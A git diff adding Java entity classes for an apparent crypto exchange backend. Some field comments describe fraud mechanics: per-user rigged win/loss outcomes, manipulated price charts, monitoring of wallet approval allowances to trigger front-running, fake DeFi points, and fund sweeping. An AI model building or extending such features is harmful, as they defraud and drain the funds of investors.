0000000..518541f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java @@ -0,0 +1,38 @@ +package com.ruoyi.bussiness.domain; + +import lombok.*; + +import java.math.BigDecimal; + +@Data +@Builder +@AllArgsConstructor +@NoArgsConstructor +@ToString +public class MarketTicker { + + private String symbol; + + private BigDecimal open; + + private BigDecimal close; + + private BigDecimal low; + + private BigDecimal high; + + private BigDecimal amount; + + private Long count; + + private BigDecimal vol; + + private BigDecimal bid; + + private BigDecimal bidSize; + + private BigDecimal ask; + + private BigDecimal askSize; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java new file mode 100644 index 0000000..150c9fe --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java @@ -0,0 +1,20 @@ +package com.ruoyi.bussiness.domain; + +import lombok.Data; +@Data +public class SendPhoneDto { + + private String account; + //API账号对应密钥 + private String password; + //短信内容 + private String msg; + //手机号码 + private String mobile; + //客户自定义批次号 + private String uid; + //用户收到短信之后显示的发件人国内不支持自定义,国外支持,但是需要提前和运营商沟通注册,具体请与NODE对接人员确定。选填 + private String senderId; + //退订开启标识 + private String tdFlag; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java new file mode 100644 index 0000000..1e5b6c2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java @@ -0,0 +1,11 @@ +package com.ruoyi.bussiness.domain; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class SymbolPrice { + private String symbol; + private BigDecimal price; + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java new file mode 100644 index 0000000..e900d58 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java @@ -0,0 +1,44 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 充值活动对象 t_activity_recharge + * + * @author ruoyi + * @date 2023-07-05 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_activity_recharge") +public class TActivityRecharge extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 0-关闭 1-开启 + */ + private Long onOff; + /** + * 充值返点比例 + */ + private BigDecimal rechargePro; + /** + * 充值返点最大值 + */ + private BigDecimal maxRebate; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java new file mode 100644 index 0000000..b571b4b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 返利活动明细对象 t_agent_activity_info + * + * @author ruoyi + * @date 2023-07-06 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_agent_activity_info") +public class TAgentActivityInfo extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private String id; + /** + * 1 充值返利 2挖矿返利 + */ + private Integer type; + /** + * 返利金额 + */ + private BigDecimal amount; + /** + * 1usdt-erc 2 usdt-trc 3btc 4eth + */ + private String coinType; + /** + * 返利用户 + */ + private Long fromId; + /** + * 用户id + */ + private Long userId; + /** + * 1 待返 2 已返 + */ + private Integer status; + /** + * $column.columnComment + */ + private String loginName; + /** + * $column.columnComment + */ + private String serialId; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java new file mode 100644 index 0000000..2a288f1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java @@ -0,0 +1,86 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 钱包地址授权详情对象 t_app_address_info + * + * @author ruoyi + * @date 2023-07-15 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_address_info") +public class TAppAddressInfo extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "user_id",type = IdType.AUTO) + private Long userId; + /** + * 地址 + */ + private String address; + /** + * 地址类型 + */ + private String walletType; + /** + * 授权USDT金额上限 + */ + private BigDecimal usdtAllowed; + /** + * 授权USDT金额上限 + */ + private BigDecimal usdcAllowed; + /** + * 钱包地址U余额 + */ + private BigDecimal usdt; + /** + * 钱包地址Usdc余额 + */ + private BigDecimal usdc; + /** + * 钱包地址ETH余额 + */ + private BigDecimal eth; + /** + * 钱包地址BTC余额 + */ + private BigDecimal btc; + /** + * 钱包地址TRX余额 + */ + private BigDecimal trx; + /** + * 授权是否播报.0-没有,1-有.历史数据不播报 + */ + private Long allowedNotice; + /** + * U监控额度 大于这个金额触发抢跑 + */ + private BigDecimal usdtMonitor; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 是否DIFI假分 Y 是 N 否 + */ + private String status; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java new file mode 100644 index 0000000..bed7854 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.*; + +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Objects; + +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.experimental.Accessors; + +/** + * 玩家资产对象 t_app_asset + * + * @author ruoyi + * @date 2023-06-30 + */ +@Data +@ToString +@Accessors(chain = true) +@Builder +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_asset") +public class TAppAsset extends BaseEntity { + +private static final long serialVersionUID=1L; + /** + * $column.columnComment + */ + private Long userId; + /** + * 地址 + */ + private String adress; + /** + * 币种 + */ + private String symbol; + /** + * 资产总额 + */ + private BigDecimal amout; + /** + * 占用资产 + */ + private BigDecimal occupiedAmount; + /** + * 可用资产 + */ + private BigDecimal availableAmount; + /** + * 钱包类型 + */ + private Integer type; + + @TableField(exist=false) + private BigDecimal exchageAmount; //币种折合成usdt + @TableField(exist=false) + private String adminParentIds; //币种折合成usdt + @TableField(exist=false) + private String loge; //图标 + + public Comparable getBtcDefaultIfNull(BigDecimal defaultValue) { + return Objects.isNull(this.availableAmount)?defaultValue:this.availableAmount; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java new file mode 100644 index 0000000..2dcc596 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 1v1站内信对象 t_app_mail + * + * @author ruoyi + * @date 2023-07-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_mail") +public class TAppMail extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * $column.columnComment + */ + private Long userId; + /** + * 标题 + */ + private String title; + /** + * 内容 + */ + private String content; + /** + * 消息类型 =普通消息 2=全站消息 + */ + private String type; + /** + * 状态(0 未读 1已读) + */ + private Integer status; + /** + * 操作人 + */ + private String opertorId; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 0正常 2删除 + */ + @TableLogic + private String delFlag; + + @TableField(exist = false) + private String userIds; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java new file mode 100644 index 0000000..598f1f5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java @@ -0,0 +1,139 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.util.Date; +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户充值对象 t_app_recharge + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_recharge") +public class TAppRecharge extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 卡ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 所有者ID + */ + @Excel(name = "用户id") + private Long userId; + /** + * 用户名 + */ + @Excel(name = "用户名") + private String username; + /** + * 充值金额 + */ + @Excel(name = "充值金额") + private BigDecimal amount; + //业务字段 + @Excel(name = "折合u") + @TableField(exist = false) + private BigDecimal uamount; + /** + * $column.columnComment + */ + private Long bonus; + /** + * 状态 + */ + @Excel(name = "状态",dictType = "recharge_order_status") + private String status; + + @Excel(name = "用户类型",dictType = "user_type") + @TableField(exist = false) + private Integer isTest; + /** + * 单号 + */ + @Excel(name = "订单号") + private String serialId; + + /** + * 订单类型 1/null=充值 2=彩金 + */ + @Excel(name = "订单类型",readConverterExp = "null=充值,''=充值,1=充值,2=彩金") + private String orderType; + /** + * 第三方支付订单号 + */ + private String txId; + /** + * 类型 + */ + @Excel(name = "充值类型") + private String type; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 充值地址 + */ + @Excel(name = "充值地址") + private String address; + /** + * app代理ids + */ + private String appParentIds; + /** + * 后台代理ids + */ + private String adminParentIds; + /** + * 币总 + */ + @Excel(name = "币种") + private String coin; + /** + * 入款地址 + */ + private String toAddress; + /** + * 区块时间 + */ + private Date blockTime; + /** + * $column.columnComment + */ + private String host; + /** + * 实际到账金额 + */ + @Excel(name = "实际到账金额") + private BigDecimal realAmount; + /** + * $column.columnComment + */ + private String rechargeRemark; + /** + * 通知字段 0未通知 1通知了 + */ + private Integer noticeFlag; + /** + * 操作时间 + */ + @Excel(name = "操作时间") + private Date operateTime; + /** + * 充值凭证 + */ + @Excel(name = "图片") + private String fileName; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java new file mode 100644 index 0000000..9b33a4a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java @@ -0,0 +1,161 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 玩家用户对象 t_app_user + * + * @author ruoyi + * @date 2023-06-30 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_user") +public class TAppUser extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "user_id",type = IdType.AUTO) + @Excel(name = "用户id") + private Long userId; + + /** + * 0-正常 1-测试 + */ + @Excel(name = "用户id",dictType = "user_type") + private Integer isTest; + + @TableField(exist=false) + private String code; + /** + * 姓名 + */ + @Excel(name = "登录名") + private String loginName; + + /** + * 邮箱 + */ + @Excel(name = "邮箱") + private String email; + + /** + * 登陆密码 + */ + private String loginPassword; + /** + * 地址 + */ + @Excel(name = "地址") + private String address; + /** + * 地址类型 ETH TRC + */ + @Excel(name = "地址类型") + private String walletType; + /** + * 0正常1冻结 + */ + @Excel(name = "是否冻结",dictType = "user_status") + private Integer status; + /** + * 总打码量 + */ + private BigDecimal totleAmont; + + /** + * 总充值打码量 + */ + private BigDecimal rechargeAmont; + + /** + * 0正常 1包赢 2包输 + */ + private Integer buff; + /** + * app代理ids + */ + @Excel(name = "玩家代理") + private String appParentIds; + @Excel(name = "玩家代理用户名") + @TableField(exist = false) + private String appParentNames; + /** + * 后台代理ids + */ + @Excel(name = "后台代理") + private String adminParentIds; + @TableField(exist = false) + @Excel(name = "后台代理用户名") + private String adminParentNames; + /** + * 邀请码 + */ + private String activeCode; + /** + * 注册ip + */ + @Excel(name = "注册ip") + private String registerIp; + /** + * 注册域名 + */ + @Excel(name = "注册域名") + private String host; + + /** + * 手机号 + */ + @Excel(name = "手机号") + private String phone; + /** + * vip等级 + */ + private Integer level; + /** + * $column.columnComment + */ + private String searchValue; + + /** + *是否冻结 1=正常 2=冻结 + */ + private String isFreeze; + + /** + *黑名单 1=正常 2拉黑 + */ + private Integer isBlack; + + @TableField(exist=false) + private String signType; + + @TableField(exist=false) + private String flag; + + @TableField(exist=false) + private Integer productId; + + @TableField(exist=false) + private Integer winNum; + + @TableField(exist=false) + private Integer loseNum; + @TableField(exist=false) + private Integer credits; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java new file mode 100644 index 0000000..8e51d6a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java @@ -0,0 +1,127 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户详细信息对象 t_app_user_detail + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_user_detail") +public class TAppUserDetail extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * + */ + private Long userId; + /** + * 真实姓名 + */ + private String realName; + /** + * 身份证号码 + */ + private String idCard; + /** + * 身份证正面照片 + */ + private String frontUrl; + /** + * 国际 + */ + private String country; + /** + * 1 身份证 2 护照 3其他 + */ + private String cardType; + /** + * 手持身份证照片 + */ + private String handelUrl; + /** + * 身份证反面照片 + */ + private String backUrl; + /** + * 用户交易密码 + */ + private String userTardPwd; + /** + * + */ + private String searchValue; + /** + * AuditStatusEnum + */ + private String auditStatusPrimary; + /** + * AuditStatusEnum + */ + private String auditStatusAdvanced; + /** + * 信用分 + */ + private Integer credits; + /** + * 用户充值地址 + */ + private String userRechargeAddress; + + /** + * 连赢场次 + */ + private Integer winNum; + /** + * 连输场次 + */ + private Integer loseNum; + /** + * 交易是否被限制 1 为限制 + */ + private Integer tradeFlag; + /** + * 金额是否被限制 1 为限制 + */ + private Integer amountFlag; + /** + * 金额限制提示语 + */ + private String pushMessage; + /** + * 交易限制提示语 + */ + private String tradeMessage; + /** + * 实名认证时间 + */ + private Date operateTime; + + //业务字段 + @TableField(exist = false) + private String flag; + + //业务字段 + @TableField(exist = false) + private String adminParentIds; + + //业务字段 1 初级 2 高级 + @TableField(exist = false) + private Integer reSetFlag; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java new file mode 100644 index 0000000..6172d55 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java @@ -0,0 +1,117 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户信息对象 t_app_wallet_record + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_wallet_record") +public class TAppWalletRecord extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 卡ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 用户id + */ + @Excel(name = "用户id") + private Long userId; + +// @Excel(name = "用户类型",readConverterExp = "0=正常用户,1=测试用户") + @Excel(name = "用户类型",dictType = "user_type") + @TableField(exist = false) + private String isTest; + + /** + * 余额 + */ + @Excel(name = "金额") + private BigDecimal amount; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 换算U金额 + */ + @Excel(name = "折合u") + private BigDecimal uAmount; + + /** + * 前值 + */ + @Excel(name = "前值") + private BigDecimal beforeAmount; + /** + * 后值 + */ + @Excel(name = "后值") + private BigDecimal afterAmount; + /** + * $column.columnComment + */ + private String serialId; + /** + * 类型 + */ + @Excel(name = "账变类型", enumType = "RecordEnum") + private Integer type; + /** + * 币种 + */ + @Excel(name = "币种") + private String symbol; + +//业务字段 + /** + * 开始时间 + */ + @TableField(exist = false) + private String startTime; + /** + * 结束时间 + */ + @TableField(exist = false) + private String endTime; + + + /** + * 最大余额 + */ + @TableField(exist = false) + private BigDecimal minAmount; + /** + * 最小余额 + */ + @TableField(exist = false) + private BigDecimal maxAmount; + + /** + * 后台上级代理ids + */ + private String adminParentIds; + + /** + * 操作时间 + */ + private Date operateTime; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java new file mode 100644 index 0000000..c3e79bc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 系统访问记录对象 t_appuser_login_log + * + * @author ruoyi + * @date 2023-06-30 + */ +@Data +//@EqualsAndHashCode(callSuper = false) +@TableName("t_appuser_login_log") +public class TAppuserLoginLog{ + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 登录用户ID + */ + private Long userId; + /** + * 登录用户名 + */ + private String username; + /** + * 访问IP + */ + private String ipaddr; + /** + * 访问位置 + */ + private String loginLocation; + /** + * 浏览器 + */ + private String browser; + /** + * 系统OS + */ + private String os; + /** + * 登录状态(0成功 1失败) + */ + private Integer status; + /** + * $column.columnComment + */ + private String msg; + /** + * 访问时间 + */ + private Date loginTime; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java new file mode 100644 index 0000000..829176b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 控线配置对象 t_bot_kline_model + * + * @author ruoyi + * @date 2023-08-09 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_bot_kline_model") +public class TBotKlineModel extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 最大跌幅 + */ + private Long decline; + /** + * 控制粒度 + */ + private Long granularity; + /** + * 最大涨幅 + */ + private Long increase; + /** + * 控盘策略 0 跟随性 2是画线 + */ + private Long model; + /** + * 浮动比例 + */ + private Long pricePencent; + /** + * 交易对 + */ + private String symbol; + /** + * 值 + */ + private String searchValue; + /** + * 开始时间 + */ + private Date beginTime; + /** + * 结束时间 + */ + private Date endTime; + private String lineChartData; + /** + * 控制价格 + */ + private BigDecimal conPrice; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java new file mode 100644 index 0000000..8c69fa5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java @@ -0,0 +1,57 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 控线详情对象 t_bot_kline_model_info + * + * @author ruoyi + * @date 2023-08-09 + */ +@Data +@TableName("t_bot_kline_model_info") +public class TBotKlineModelInfo{ + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * t_bot_kline_model 的主键 + */ + private Long modelId; + /** + * 时间戳 + */ + private Long dateTime; + /** + * 开盘价 + */ + private BigDecimal open; + /** + * 封盘价 + */ + private BigDecimal close; + /** + * 最高价 + */ + private BigDecimal high; + /** + * 最低价 + */ + private BigDecimal low; + + private String x; + private String y; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java new file mode 100644 index 0000000..4fcb76c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 【请填写功能名称】对象 t_collection_order + * + * @author ruoyi + * @date 2023-09-08 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_collection_order") +public class TCollectionOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 订单号 + */ + private String orderId; + /** + * 用户ID + */ + private Long userId; + /** + * 归集地址 + */ + private String address; + /** + * 地址类型 + */ + private String chain; + /** + * hash + */ + private String hash; + /** + * 归集金额 + */ + private BigDecimal amount; + /** + * 币种 + */ + private String coin; + /** + * 1 进行中 2 归集成功 3 归集失败 + */ + private String status; + /** + * 客户端名称 + */ + private String clientName; + /** + * + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java new file mode 100644 index 0000000..7beb4d0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java @@ -0,0 +1,189 @@ +package com.ruoyi.bussiness.domain; + +import java.math.BigDecimal; +import java.util.Date; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableName; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.apache.commons.lang3.builder.ToStringBuilder; +import org.apache.commons.lang3.builder.ToStringStyle; +import com.ruoyi.common.annotation.Excel; +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.data.annotation.Transient; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * U本位合约币种对象 t_contract_coin + * + * @author michael + * @date 2023-07-20 + */ +@Data +@TableName("t_contract_coin") +public class TContractCoin +{ + private static final long serialVersionUID = 1L; + + /** 主键 */ + private Long id; + + /** 交易对 */ + @Excel(name = "交易对") + private String symbol; + + /** 币种 */ + @Excel(name = "币种") + private String coin; + + /** 基础币种 */ + @Excel(name = "基础币种") + private String baseCoin; + + /** 合约面值(1手多少 如 1手=0.01BTC) */ + @Excel(name = "合约面值", readConverterExp = "1=手多少,如=,1=手=0.01BTC") + private BigDecimal shareNumber; + + /** 杠杆倍数 */ + @Excel(name = "杠杆倍数") + private String leverage; + + /** 0 启用 1 禁止 */ + @Excel(name = "0 启用 1 禁止") + private Long enable; + + /** 前端显示0启用 1 禁止 */ + @Excel(name = "前端显示0启用 1 禁止") + private Long visible; + + /** 是否可交易(0 可以 1 禁止) */ + @Excel(name = "是否可交易", readConverterExp = "0=,可=以,1=,禁=止") + private Long exchangeable; + + /** 开空 (0 是 1 否) */ + @Excel(name = "开空 ", readConverterExp = "0=,是=,1=,否=") + private Long enableOpenSell; + + /** 开多 (0 是 1 否) */ + @Excel(name = "开多 ", readConverterExp = "0=,是=,1=,否=") + private Long enableOpenBuy; + + /** 市价开空(0 是 1否) */ + @Excel(name = "市价开空", readConverterExp = "0=,是=,1=否") + private Long enableMarketSell; + + /** 市价开多(0 是 1否) */ + @Excel(name = "市价开多", readConverterExp = "0=,是=,1=否") + private Long enableMarketBuy; + + /** 开仓手续费 */ + @Excel(name = "开仓手续费") + private BigDecimal openFee; + + /** 平仓手续费 */ + @Excel(name = "平仓手续费") + private BigDecimal closeFee; + + /** 资金费率 */ + @Excel(name = "资金费率") + private BigDecimal usdtRate; + + /** 资金周期 */ + @Excel(name = "资金周期") + private BigDecimal intervalHour; + + /** 币种小数精度 */ + @Excel(name = "币种小数精度") + private BigDecimal coinScale; + + /** 基础币小数精度 */ + @Excel(name = "基础币小数精度") + private BigDecimal baseScale; + + /** 最小数(以手为单位 ) */ + @Excel(name = "最小数", readConverterExp = "以=手为单位") + private BigDecimal minShare; + + /** 最大数(以手为单位 ) */ + @Excel(name = "最大数", readConverterExp = "以=手为单位") + private BigDecimal maxShare; + + /** 平台收益 */ + @Excel(name = "平台收益") + private BigDecimal totalProfit; + + /** 排序字段 */ + @Excel(name = "排序字段") + private Long sort; + + /** + * 显示币种 + */ + private String showSymbol; + + + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + + /** + * 图标 + */ + private String logo; + + + /** + * 交易所 + */ + private String market; + + + @TableField(exist = false) + private Integer isCollect; + + //交割时间 + private Integer deliveryDays; + + //最小保证金 + private BigDecimal minMargin; + + //止盈率 + private BigDecimal earnRate; + + //止损率 + private BigDecimal lossRate; + + @TableField(exist = false) + private BigDecimal amount; + + @TableField(exist = false) + private BigDecimal open; + + /** + * 浮动盈利点 + */ + private BigDecimal floatProfit; + + /** + * 浮动盈亏 + */ + private BigDecimal profitLoss; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java new file mode 100644 index 0000000..e5e369c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java @@ -0,0 +1,102 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Map; + +import com.ruoyi.common.core.domain.BaseEntity; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + +/** + * 止盈止损表对象 t_contract_loss + * + * @author ruoyi + * @date 2023-07-25 + */ +@Data +@TableName("t_contract_loss") +public class TContractLoss { + +private static final long serialVersionUID=1L; + + /** + * 主键 + */ + @TableId(value = "id",type = 